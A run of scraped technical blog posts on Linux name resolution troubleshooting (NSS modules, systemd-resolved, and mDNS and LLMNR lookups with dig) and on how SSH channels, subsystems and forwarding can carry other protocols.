/lib/i386-linux-gnu/libnss_nis.so.2 -> libnss_nis.so.2.0.0\n-rw-r--r-- 1 root root 58924 18 oct. 10:48 /lib/i386-linux-gnu/libnss_nis.so.2.0.0\n-rw-r--r-- 1 root root 39736 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_compat-2.31.so\nlrwxrwxrwx 1 root root 40 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_compat.so -> /lib/x86_64-linux-gnu/libnss_compat.so.2\nlrwxrwxrwx 1 root root 21 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_compat.so.2 -> libnss_compat-2.31.so\n-rw-r--r-- 1 root root 26952 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_dns-2.31.so\nlrwxrwxrwx 1 root root 37 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_dns.so -> /lib/x86_64-linux-gnu/libnss_dns.so.2\nlrwxrwxrwx 1 root root 18 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_dns.so.2 -> libnss_dns-2.31.so\n-rw-r--r-- 1 root root 51696 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_files-2.31.so\nlrwxrwxrwx 1 root root 39 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_files.so -> /lib/x86_64-linux-gnu/libnss_files.so.2\nlrwxrwxrwx 1 root root 20 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_files.so.2 -> libnss_files-2.31.so\n-rw-r--r-- 1 root root 27000 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_hesiod-2.31.so\nlrwxrwxrwx 1 root root 40 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_hesiod.so -> /lib/x86_64-linux-gnu/libnss_hesiod.so.2\nlrwxrwxrwx 1 root root 21 10 oct. 21:54 /lib/x86_64-linux-gnu/libnss_hesiod.so.2 -> libnss_hesiod-2.31.so\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns4.so.2\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns6_minimal.so.2\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns6.so.2\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns_minimal.so.2\n-rw-r--r-- 1 root root 18504 29 sept. 11:31 /lib/x86_64-linux-gnu/libnss_mdns.so.2\nlrwxrwxrwx 1 root root 23 18 oct. 10:56 /lib/x86_64-linux-gnu/libnss_nisplus.so.2 -> libnss_nisplus.so.2.0.0\n-rw-r--r-- 1 root root 51568 18 oct. 10:56 /lib/x86_64-linux-gnu/libnss_nisplus.so.2.0.0\nlrwxrwxrwx 1 root root 19 18 oct. 10:48 /lib/x86_64-linux-gnu/libnss_nis.so.2 -> libnss_nis.so.2.0.0\n-rw-r--r-- 1 root root 55664 18 oct. 10:48 /lib/x86_64-linux-gnu/libnss_nis.so.2.0.0\n-rw-r--r-- 1 root root 291544 15 oct. 23:48 /lib/x86_64-linux-gnu/libnss_resolve.so.2\n\n
Check which NSS plug-in modules are installed using the package manager (for Debian-based systems):
\naptitude search '^libnss-!dbgsym~i'\n
\nIn this example, we find that libnss-resolve
is only available in 64-bit.\nAny 32-bit program will not be able to this module:\nthis might make it behave differently from a 64-bit program.
As systemd-resolved
can be queried using the DNS protocol (through the dns
module),\nit should be fine however.\nFor other modules, this would be more problematic.
\ni libnss-mdns - module NSS pour la r\u00e9solution de nom Multicast DNS\ni libnss-mdns:i386 - module NSS pour la r\u00e9solution de nom Multicast DNS\ni A libnss-nis - NSS module for using NIS as a naming service\ni A libnss-nis:i386 - NSS module for using NIS as a naming service\ni A libnss-nisplus - NSS module for using NIS+ as a naming service\ni A libnss-nisplus:i386 - NSS module for using NIS+ as a naming service\ni libnss-resolve - module NSS pour la r\u00e9solution de nom avec systemd-resolved\n\n
Tip:\nyou might want to check that they are all installed for all the available\narchitectures.
\nCheck whether any host aliases are defined:
\necho $HOSTALIASES\nif test -n \"$HOSTALIASES\"; then cat \"$HOSTALIASES\"; fi\n
\nCheck which NSS plug-in modules are called for a given lookup:
\nltrace -e \"*gethostbyname*@libnss*\" getent hosts www.example.com\n
\nIn this example, we see that the files
, mdns4_minimal
and resolve
modules\nwere used in that order:
\nlibnss_files.so.2->_nss_files_gethostbyname3_r(0x7ffeece904fa, 10, 0x7fbbb7a6e040, 0x5622738d2a00) = 0\nlibnss_mdns4_minimal.so.2->_nss_mdns4_minimal_gethostbyname3_r(0x7ffeece904fa, 10, 0x7fbbb7a6e040, 0x5622738d2a00) = 0xffffffff\nlibnss_resolve.so.2->_nss_resolve_gethostbyname3_r(0x7ffeece904fa, 10, 0x7fbbb7a6e040, 0x5622738d2a00) = 1\n2606:2800:220:1:248:1893:25c8:1946 www.example.com\n+++ exited (status 0) +++\n\n
Check socket communications for a given lookup:
\nstrace -e \"connect,sendmsg\" getent hosts www.example.com\n
\nIn this example, we see that nscd
was not found and\nwe see the process communicating with systemd-resolved
through D-Bus:
\nconnect(3, {sa_family=AF_UNIX, sun_path=\"/var/run/nscd/socket\"}, 110) = -1 ENOENT (Aucun fichier ou dossier de ce type)\nconnect(3, {sa_family=AF_UNIX, sun_path=\"/var/run/nscd/socket\"}, 110) = -1 ENOENT (Aucun fichier ou dossier de ce type)\nconnect(3, {sa_family=AF_UNIX, sun_path=\"/run/dbus/system_bus_socket\"}, 30) = 0\nsendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\"\\0AUTH EXTERNAL\\r\\nDATA\\r\\n\", iov_len=22}, {iov_base=\"NEGOTIATE_UNIX_FD\\r\\n\", iov_len=19}, {iov_base=\"BEGIN\\r\\n\", iov_len=7}], msg_iovlen=3, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 48\nsendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\"l\\1\\0\\1\\0\\0\\0\\0\\1\\0\\0\\0m\\0\\0\\0\\1\\1o\\0\\25\\0\\0\\0/org/freedesktop/DBus\\0\\0\\0\\3\\1s\\0\\5\\0\\0\\0Hello\\0\\0\\0\\2\\1s\\0\\24\\0\\0\\0org.freedesktop.DBus\\0\\0\\0\\0\\6\\1s\\0\\24\\0\\0\\0org.freedesktop.DBus\\0\\0\\0\\0\", iov_len=128}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 128\nsendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\"l\\1\\2\\1(\\0\\0\\0\\2\\0\\0\\0\\242\\0\\0\\0\\1\\1o\\0\\31\\0\\0\\0/org/freedesktop/resolve1\\0\\0\\0\\0\\0\\0\\0\\3\\1s\\0\\17\\0\\0\\0ResolveHostname\\0\\2\\1s\\0 \\0\\0\\0org.freedesktop.resolve1.Manager\\0\\0\\0\\0\\0\\0\\0\\0\\6\\1s\\0\\30\\0\\0\\0org.freedesktop.resolve1\\0\\0\\0\\0\\0\\0\\0\\0\\10\\1g\\0\\4isit\\0\\0\\0\\0\\0\\0\\0\", iov_len=184}, {iov_base=\"\\0\\0\\0\\0\\17\\0\\0\\0www.example.com\\0\\n\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\", iov_len=40}], msg_iovlen=2, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 224\n2606:2800:220:1:248:1893:25c8:1946 www.example.com\n+++ exited with 0 ++\n\n
resolv.conf
filesCheck the content of /etc/resolv.conf
:
cat /etc/resolv.conf\n
\nCheck if resolvconf
is a symlink and where it is pointing to\n(this will tell you which software manages it):
ls -l /etc/resolv.conf\n
\nCheck other resolv.conf
files:
cat /run/resolv.conf/resolv.conf\ncat /run/systemd/resolve/stub-resolv.conf\ncat /run/systemd/resolve/resolv.conf\ncat /var/run/NetworkManager/resolv.conf\ncat /var/run/NetworkManager/no-stub-resolv.conf\n
\nsystemd-resolved
Check for systemd-resolved
configuration;
systemd-resolve --status\n# same as:\nresolvectl\n
\nTest host name resolution:
\ngetent hosts www.example.com\ndig A www.example.com\ndig AAAA www.example.com\nsystemd-resolve -4 www.example.com\nsystemd-resolve -6 www.example.com\n
\nTest mDNS name resolution:
\navahi-resolve-host-name -4 foo.local\navahi-resolve-host-name -6 foo.local\nsystemd-resolve -p mdns -4 foo.local\nsystemd-resolve -p mdns -6 foo.local\n
\nTest whether the resolvers configured in resolv.conf
are answering:
for nameserver in $(cat /etc/resolv.conf | sed 's/#.*//' | grep ^nameserver | sed \"s/^ *nameserver//\"); do\n echo \"Testing $nameserver\"\n dig \"@$nameserver\" www.example.com\n echo\ndone\n
\nCheck routes for resolvers configured in resolv.conf
:
for nameserver in $(cat /etc/resolv.conf | sed 's/#.*//' | grep ^nameserver | sed \"s/^ *nameserver//\"); do\n ip route get \"$nameserver\"\ndone\n
\nTest whether the resolvers configured in systemd-resolved
are answering:
for nameserver in $(resolvectl dns | sed \"s/^[^:]*://\"); do\n echo \"Testing $nameserver\"\n dig \"@$nameserver\" www.example.com\n echo\ndone\n
\nCheck routes for resolvers configured in systemd-resolved
:
for nameserver in $(resolvectl dns | sed \"s/^[^:]*://\"); do\n ip route get \"$nameserver\"\ndone\n
\nMonitor DNS traffic[10]:
\nsudo tcpdump -i any \"port 53\"\n
\nMonitor mDNS traffic:
\nsudo tcpdump -i any \"udp port 5353\"\n
\nMonitor LLMNR traffic:
\nsudo tcpdump -i any \"udp port 5355\"\n
\nMonitor DNS, mDNS and LLMNR traffic:
\nsudo tcpdump -i any \"port 53 or udp port 5353 or udp port 5355\"\n
\nYou might want to run these commands while you are trying\nsome name resolutions (eg. getent hosts www.example.com
, dig www.esample.com
, etc.).
References:
\n\nBacklinks:
\n\nNSS is used for other resolutions as well such as\nUNIX user/UID, group name/UID, etc. \u21a9\ufe0e
\nYou can check which NSS features are implemented by a given NSS plug-in module with:
\n$ readelf -Ws /lib/x86_64-linux-gnu/libnss_resolve.so.2 | grep FUNC | grep -v UND\n166: 0000000000036c30 1738 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyname4_r\n167: 0000000000036310 2150 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyname3_r\n168: 0000000000036c10 22 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyname2_r\n169: 0000000000035a10 2265 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyaddr2_r\n170: 00000000000362f0 24 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyaddr_r\n171: 0000000000036b80 138 FUNC GLOBAL DEFAULT 12 _nss_resolve_gethostbyname_r</pre>\n
\n \u21a9\ufe0eAvahi is the classical mDNS/DNS-DS implementation on Linux systems.\nsystemd-resolved has support for mDNS as well. \u21a9\ufe0e
\nThe term Virtual Circuit (VC)\nis used to refer to reliable bidirectional byte stream.\nIn practice, this is usually a TCP stream. \u21a9\ufe0e
\nMulticast DNS (mDNS), defined in RFC6762,\nis a protocol based on DNS used to resolve host names (in foo.local
)\nto IP addresses on the local network. \u21a9\ufe0e
LLMNR\nis a protocol very similar to mDNS typically used on Windows system. \u21a9\ufe0e
\nsystemd-resolved has\nfour different possible modes of operations\nfor handling resolv.conf
. \u21a9\ufe0e
This can happen because the plug-in module is only installed for one architecture\n(eg. 64-bit) on a multi-arch system, because the program is not linked against\nthe GNU libc (for example because it uses another libc or because it's a go program). \u21a9\ufe0e
\nThese hooks receive the informations passed by the OpenVPN server\nas environment variables:
\n\nforeign_option_1='dhcp-option DNS 10.0.0.42'\nforeign_option_2='dhcp-option DNS 10.0.1.42'\nforeign_option_3='dhcp-option DOMAIN example.com'\n\n \u21a9\ufe0e
This does not include things like DNS-over-TLS and DNS-over-HTTPS\nwhich use other ports and are encrypted anyway. \u21a9\ufe0e
\nI was looking for a LLMNR commandline lookup utility.\nActually, dig
can do the job quite fine.
Warning: deprecated (not working anymore)
\nUpdate 2023-09-22:\nThe commands using dig
\n(which were a convenient hack)\ndo not work anymore\nwith recent versions of dig\n(since v9.18).
LLMNR lookup:
\ndig +noedns -p 5355 @224.0.0.252 wpad\nresolvectl query -p llmnr wpad\n
\nmDNS lookup:
\ndig -p 5353 @224.0.0.251 example.local\nresolvectl query -p mdns example.local\navahi-resolve-host-name example.local\n
\nChoosing the network interface:
\n-b 192.168.1.42
)[2]. Without this flag, the request\nwill use the default route to choose which network interface to use.-i
.LLMNR\n(Link-Local Multicast Name Resolution),\nRFC4795,\nis a Microsoft-centric DNS-based protocol for resolving names using multicast\non the local network.\nIt is expected to be used by default for single label names only:
\n\n\nBy default, an LLMNR sender SHOULD send LLMNR queries only for\nsingle-label names. Stub resolvers supporting both DNS and LLMNR\nSHOULD avoid sending DNS queries for single-label names, in order to\nreduce unnecessary DNS queries.
\n
In the Windows world,\nit is used alongside with other protocols[3]\nsuch as NBNS/NBT-NS (NetBios/TCP Name Service,\nRFC1001,\nRFC1002),\nWINS\nand DNS.\nApparently, LLMNR is tried before NBNS but it isnot really documented\nas far as I know.
\nLLMNR is quite similar in spirit to mDNS\n(multicast DNS, RFC6762).\nmDNS is originated from Apple Bonjour\nwhere it is used with DNS-SD\n(DNS Service Discovery, RFC6783)\nand has been available on Linux systemd for a long time\nthrough Avahi.\nIt is normally used for domain names in the local
domain\n(eg. foo.local
, foo.bar.local
, etc.).
On Linux systems, in addition to Avahi,\nsystem-resolved\nsupports both LLMNR and mDNS/DNS-SD.
\ndig
I was looking for a CLI tool for resolving names with LLMNR but could not\nfind any. In fact, dig
can be the job well.\nLLMNR is really DNS with a few changes:
queries requests are sent to multicast address 224.0.0.252 or ff02:0:0:0:0:0:1:3\nwith UDP port 5355;
\nresponses are sent to the requester IP address and port using the\nIP and port the request was sent to;
\na few flags have a different meaning.
\nLLMNR header:
\n\n1 1 1 1 1 1\n0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ID |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n|QR| Opcode | C|TC| T| Z| Z| Z| Z| RCODE |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| QDCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ANCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| NSCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ARCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n\n
DNS header:
\n\n 1 1 1 1 1 1\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ID |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n|QR| Opcode |AA|TC|RD|RA| Z | RCODE |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| QDCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ANCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| NSCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n| ARCOUNT |\n+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+\n\n
This means we can actually do LLMNR requests with dig
.\nDor example, we can do a\nDNS\nWPAD\n\ud83d\ude28 request:
dig +noedns -p 5355 @224.0.0.252 wpad\n
\nEDNS0 is disabled because the\nMicrosoft LLMNR profile does not support EDNS0:
\n\n\nThe Link Local Multicast Name Resolution (LLMNR) Profile [...]\ndoes not support Extension Mechanisms for DNS (EDNS0) [RFC2671].
\n
dig
Similarly for mDNS, requests are sent to 224.0.0.251 or ff02::fb on UDP port 5353.\nFull mDNS queries\nare expected to send queries from this same IP/port tuple\n(and receive the answer on this same tuple):
\n\n\nA compliant Multicast DNS querier, which implements the rules\nspecified in this document, MUST send its Multicast DNS queries from\nUDP source port 5353 (the well-known port assigned to mDNS), and MUST\nlisten for Multicast DNS replies sent to UDP destination port 5353 at\nthe mDNS link-local multicast address (224.0.0.251 and/or its IPv6\nequivalent FF02::FB).
\n
This cannot be done with dig
: it cannot listen for answers sent to a multicast\naddress.
However, the mDNS protocol allows for a simpler client implementation,\nOne-Shot Multicast DNS Queries:
\n\n\nThe most basic kind of Multicast DNS client may simply send standard\nDNS queries blindly to 224.0.0.251:5353, without necessarily even\nbeing aware of what a multicast address is.\n[...]\nthese queries MUST NOT be sent using UDP source port 5353, since\nusing UDP source port 5353 signals the presence of a fully compliant\nMulticast DNS querier, as described below.
\n
This means we can use dig
as well:
dig -p 5353 @224.0.0.251 example.local\n
\nresolvectl
Alternatively if systemd-resolved
is running, resolvectl
can be used:
resolvectl query -p llmnr example\nresolvectl query -p mdns example.local\n
\nmDNS request can be done through the Avahi damone using:
\navahi-resolve-host-name example.local\n
\nThese versions of dig
\nuse connect()
-ed[1]\nUDP sockets.\nWhen connect()
is used on a datagram socket,\nthe socket drops any ingress packet which does not come\nfrom the chosen (multicast in our case) IP address.\nWith mDNS and LLMNR,\nthe response comes from the IP address of the responder\nwhich is not the multicast address (224.0.0.252 or 224.0.0.251)\nand will therefore be\nignored by the connect()
-ed UDP socket. \u21a9\ufe0e
If you wonder how this works, I believe this is because the routing\nalgorithm takes the source address (if any) into account\nin this case.\nYou can see that by comparing, ip route get 224.0.0.252
\n(goes through the interface if your default route) and\nip route get 224.0.0.252 from 127.0.0.1
(goes through lo
). \u21a9\ufe0e
Apparently there is as well\nPNRP\n(Peer Name Resolution Protocol)\nand\nSNID\n(Server Network Information Discovery). \u21a9\ufe0e
\nA comparison of the different solutions for using SSH2 as a secured\ntransport for protocols/services/applications.
\nThe SSH-2 protocol uses its\nTransport Layer Protocol to provide\nencryption, confidentiality, server authentication and integrity over a\n(potentially) unsafe reliable bidirectional data stream (usually TCP port 22):
\nThe transport layer transports SSH packets.\nIt handles:
\nEach packet starts with a message number and can belong to:
\nTypical protocol stack (assuming TCP/IP):
\n\n [Session | Forwarding]\n[SSH Authn. |SSH Connection ]\n[SSH Transport ]\n[TCP ]\n[IP ]\n\n
The Connection Protocol is used\nto manage channels\nand transfers data over them. Each channel is (roughly) a bidirectionnal\ndata stream:
\nSSH_MSG_CHANNEL_EXTENDED_DATA
) in addition of the main data stream\n(SSH_MSG_CHANNEL_DATA
) [4];SSH_MSG_CHANNEL_OPEN
)\nwhich may be accepted (SSH_MSG_CHANNEL_OPEN_CONFIRMATION
)\nor rejected (SSH_MSG_CHANNEL_OPEN_FAILURE
) by the other side;SSH_MSG_CHANNEL_EOF
);Multiple channels can be multiplexed over the same SSH connection:
\n\nC \u2192 S SSH CHANNEL_DATA(1, \"whoami\\n\")\nC \u2192 S SSH CHANNEL_DATA(2, \"GET / HTTP/1.1\\r\\nHost: foo.example.com\\r\\n\\r\\n\")\nC \u2190 S SSH CHANNEL_DATA(5, \"root\\n\")\nC \u2190 S SSH CHANNEL_DATA(6, \"HTTP/1.1 200 OK\\r\\nContent-Type:text/plain\\r\\n\")\nC \u2190 S SSH CHANNEL_DATA(6, \"Content-Length: 11\\r\\n\\r\\nHello World!\")\n\n
A session
channel is used to start:
SSH_MSG_CHANNEL_REQUEST(chan, \"shell\", \u2026)
;SSH_MSG_CHANNEL_REQUEST(chan, \"exec\", \u2026, command)
) which is\nusually passed to the user shell;SSH_MSG_CHANNEL_REQUEST(chan, \"subsystem\", \u2026, subsystem_name)
).For session channels, the protocol has support for setting environment variables,\nallocating a server-side TTY, enabling X11 forwarding, notifying of the terminal\nsize modification (see SIGWINCH
), sending signals, reporting the exit\nstatus or exit signal.
\nC \u2192 S SSH CHANNEL_OPEN(\"session\", 2, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(3, 6)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"pty-req\", TRUE, \"xterm\", 80, 120, \u2026)\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"env\", TRUE, \"LANG\", \"fr_FR.utf8\")\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2192 S SSH CHANNEL_REQUEST(6, \"exec\", TRUE, \"ls /usr/\")\nC \u2190 S SSH CHANNEL_SUCCESS(3)\nC \u2190 S SSH CHANNEL_DATA(3, \"bin\\ngames\\ninclude\\nlib\\nlocal\\sbin\\nshare\\nsrc\\n\")\nC \u2190 S SSH CHANNEL_EOF(3)\nC \u2190 S SSH CHANNEL_REQUEST(3, \"exit-status\", FALSE, 0)\nC \u2190 S SSH CHANNEL_CLOSE(3)\nC \u2192 S SSH CHANNEL_CLOSE(6)\n\n
Shell session channels are used for interactive session are not really\nuseful for protocol encapsulation.
\nIn SSH, a command is a single string.\nThis is not an array of strings (argv
).\nOn a UNIX-ish system, the command is usually expected to be called by the user's\nshell (\"$SHELL\" -c \"$command\"
): variable expansions, globbing are applied\nby the server-side shell.
ssh foo.example.com 'ls *'\nssh foo.example.com 'echo $LANG'\nssh foo.example.com 'while true; do uptime ; sleep 60 ; done'\n
\nA subsystem is a \u201cwell-known\u201d service running on top of SSH. It is\nidentified by a string which makes it system independent: it does not\ndepend on the user/system shell, environment (PATH
), etc.
With the OpenSSH client, a subsystem can be invoked with\nssh -S $subsystem_name
.
Subsystem names come in\ntwo forms:
\nservice_name@domain
;Well-known subsystem names include:
\nsftp
is used to connect a local SFTP client to a remote SFTP\nserver[5];publickey
is used for the\nSSH Public Key Substem which\ncan be used by clients to manage their SSH public keys;snmp
is used for\nSNMP over SSH;netconf
for\nNETCONF over SSH;rpki-rtr
for\nRPKI-Router over SSH.When using a subsystem:
\nWith the OpenSSH server, a command can be associated with a given\nsubsystem name with a configuration entry such as:
\nSubsystem sftp /usr/lib/openssh/sftp-server\n
\nThe command is run under the identity of the user with its own shell\n(\"$SHELL\" -c \"$command\"
).
If you want to connect to a socket you might use:
\nSubsystem http socat STDIO TCP:localhost:80\nSubsystem hello@example.com socat STDIO UNIX:/var/run/hello\n
\nIt is possible to use exec
to avoid keeping a shell process[6]:
Subsystem http exec socat STDIO TCP:localhost:80\nSubsystem hello@example.com exec socat STDIO UNIX:/var/run/hello\n
\nThis works but OpenSSH complains because it checks for the existence of\nan exec
executable file.
The SSH has support for forwarding (either incoming or outgoing)\nTCP connections.
\nLocal forwarding is used to forward a local connection (or any\nother local stream) to a remote TCP endpoint. A channel of type\ndirect-tcpip
is opened to initiate a TCP connection on the remote\nside. This is used by ssh -L
, ssh -W
and ssh -D
\nC \u2192 S SSH CHANNEL_OPEN(\"direct-tcpip\", chan, \u2026, \"foo.example.com\", 9000, \"\", 0);\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2, \u2026)\nC \u2192 S SSH CHANNEL_DATA(chan2, \"aaa\")\n\n
Remote forwarding is used to request to forward all incoming\nconnections on a remote port over the SSH connection. The remote side\nthen opens a new forwarded-tcpip
channel for each connection. This\nis used by ssh -R
.
\nC \u2192 S SSH GLOBAL_REQUEST(\"tcpip-forward\", remote_addr, remote_port)\nC \u2190 S SSH REQUEST_SUCCESS(remote_port)\n S \u2190 X Incoming connection\nC \u2190 S SSH CHANNEL_OPEN(\"forwarded-tcpip\", chan, \u2026, address, port, peer_address, peer_port)\nC \u2192 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2, \u2026)\n S \u2190 X TCP Payload \"aaa\"\nS \u2190 X SSH CHANNEL_DATA(chan2, \"aaa\")\n\n
Since OpenSSH 6.7, it is\npossible to involve (either local or remote) UNIX sockets in forwards\n(ssh -L
, ssh -R
, ssh -W
):
When the UNIX socket is on the client-side,\nclient support is needed but server-side support is not needed.
\nWhen the UNIX socket is on the server-side, both client\nand server support is needed. This is using an (OpenSSH) protocol extension\nwhich works similarly to the TCP/IP forwarding:
\nSSH_MSG_CHANNEL_OPEN(\"direct-streamlocal@openssh.com\", \u2026, path)
\nfor initiating a connection to a remote UNIX stream socket (local\nforwarding);SSH2_MSG_GLOBAL_REQUEST(\"streamlocal-forward@openssh.com\", TRUE, path)
is used to request a remote forwarding and each new\nconnection opens a channel with\nSSH_MSG_CHANNEL_OPEN(\"forwarded-streamlocal@openssh.com\", \u2026, path, \u2026)
.As an extension, OpenSSH has support for tunnel forwarding. A tunnel\ncan be either Ethernet-based (TUN devices) or IP based (TAP devices).\nAs channels do not preserve message boundaries, a header is prepended\nto each message (Ethernet frame or IP packet respectively): this\nheader contains the message length\n(and for IP based tunnels, the address family i.e. IPv4 or IPv6).
\nThis is used by ssh -w
.
Messages for an IP tunnel:
\n\nC \u2192 S SSH CHANNEL_OPEN(\"tun@openssh.com\", chan, \u2026, POINTOPOINT, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2)\nC \u2192 S SSH CHANNEL_DATA(chan2, encapsulation + ip_packet)\n\n
and the packets use the form:
\n4B packet length\n4B address family (SSH_TUN_AF_INET or SSH_TUN_AF_INET6)\nvar data\n
\nMessages for an Ethernet tunnel:
\n\nC \u2192 S SSH CHANNEL_OPEN(\"tun@openssh.com\", chan, \u2026, ETHERNET, \u2026)\nC \u2190 S SSH CHANNEL_OPEN_CONFIRMATION(chan, chan2)\nC \u2192 S SSH CHANNEL_DATA(chan2, encapsulation + ethernet_frame)\n\n
and the packets use the form:
\n4B packet length\nvar data\n
\nThe x11
channel type is used for\nX11 forwarding.
scp
uses SSH to spawn a remote-side scp
process. This remote scp
\nprocess communicates with the local instance using its stdin
and\nstdout
.
When the local scp
sends data, it spawns:
scp -t /some_path/\n
\nWhen the local scp
receives data, it spawns:
scp -f /some_path/some_file\n
\nrsync can work over SSH. In this mode of operation, it uses SSH to\nspawn a server rsync process which communicates with its stdin
and\nstdout
.
The local rsync
spawns something like in the remote side:
rsync --server -e.Lsfx . /some_path/\n
\nSFTP is a file transfer protocol.\nIt is expected to to work on top of SSH\nusing the sftp
subsystem. However it can work on top of other streams\n(see sftp -S $program
and sftp -D $program
).
This is not FTP running over SSH.
\nFISH\n(Files transferred over Shell)\nis another solution for file system operation over a\nremote shell (such as rsh
or ssh
): it uses exec
sessions to\nexecute standard UNIX commands on the remote side in order to do the\noperations. This first approach will not work if the remote side is\nnot a UNIXish system: in order to have support for non UNIX, it\nencodes the same requests as special comments at the beginning of the\ncommand.
Git spawns a remote git-upload-pack /some_repo/
which communicates\nwith the local instance using its standard I/O.
Many systemd *ctl
tools (hostnamectl
, busctl
, localectl
,\ntimedatectl
, loginctl
, systemctl
) have builtin support for\nconnecting to a remote host. They use a ssh -xT $user@$host
\nsystemd-stdio-bridge. This\ntool connects to the D-Bus\nsystem bus\n(i.e. ${DBUS_SYSTEM_BUS_ADDRESS:-/var/run/dbus/system_bus_socket}
).
Program | \nSolution | \n
---|---|
scp | \nCommand (scp ) | \n
rsync | \nCommand (rsync ) | \n
sftp | \nSubsystem (sftp ) | \n
FISH | \nCommands / special comments | \n
git | \nCommand (git-upload-pack ) | \n
systemd | \nCommand (systemd-stdio-bridge ) | \n
Which solution should be used to export your own\nprotocol over SSH? The shell, X11 forwarding and TUN/TAP forwarding\nare not really relevant in this context so we are left with:
\nUsing a dedicated subsystem is the cleaner solution.\nThe subsystem feature of SSH has been designed for this kind of application:\nit is supposed to hide implementation details such as the shell,\nPATH
, whether the service is exposed as a socket or a command,\nwhat is the location of the socket,\nwhether socat
is installed on the system, etc.\nHowever with OpenSSH, installing a new subsystem is done by adding a new entry\nin the /etc/ssh/sshd_config
file which is not so convenient for packaging\nand not necessarily ideal for configuration management.\nAn Include
directive has been included for ssh_config
\n(client configuration) in OpenSSH 7.3: the same directive for sshd_config
\nwould probably be useful in this context.\nIn practice, the subsystem feature seems to be mostly used by sftp
.
Using a command is the simpler solution: the only requirement is to\nadd a suitable executable, preferably in the PATH
. Moreover, the\nuser can add their own commands (or override the system ones) for their\nown purpose by adding executables in its own PATH
.
These two solutions have a few extra features which are not really\nnecessary when used as a pure stream transport protocol but might be\nhandy:
\nAccept-Language
) for free with LANG
, and\nLC_*
;stderr
which is not really useful\nfor encapsulating protocols.The two forwarding solutions have fewer features which are more in\nline with what is expected of a stream transport but:
\nmyservice@example.com
for custom non-standard protocols.The command and subsystem solutions run code with the user's identity\nand will by default run with the user permissions. The setuid
and\nsetgid
bits might be used if this is not suitable.
Another solution is to use socat
or netcat to connect to a socket and get\nthe same behavior as socket forwarding (security-wise).
For Unix socket forwarding, OpenSSH uses the user identity to connect\nto the socket. The daemon can use SO_PEERCRED
(on Linux, OpenBSD),\ngetpeereid()
\n(on BSD),\ngetpeerucred()
\n(Solaris) to get the user UID, GID in order to avoid a second\nauthentication. On Linux, file-system permissions can be used to\nrestrict the access to the socket as well.
For TCP socket forwarding, OpenSSH uses the user identity to connect to\nthe socket and ident
(on localhost) might be used in order to get\nthe user identity but this solution is not very pretty.
I kind-of like the subsystem feature even if it is not used that much.
\nThe addition of an Include
directive in sshd_config
might help deploying\nsuch services. Another interesting feature would be an option to associate a\nsubsystem with a Unix socket (without having to rely on socat
).
The random padding is used to make the whole Binary Packet Protocol message\na multiple of the cipher block size (or 8 if the block size is smaller). \u21a9\ufe0e
\nThe receiver uses the\nSSH_MSG_CHANNEL_WINDOW_ADJUST
\nmessage to request more data. \u21a9\ufe0e
Each channel is associated with two integer IDs, one for each side\nof the connection. \u21a9\ufe0e
\nThis is used to transport both stdout
(SSH_MSG_CHANNEL_DATA(channel, data)
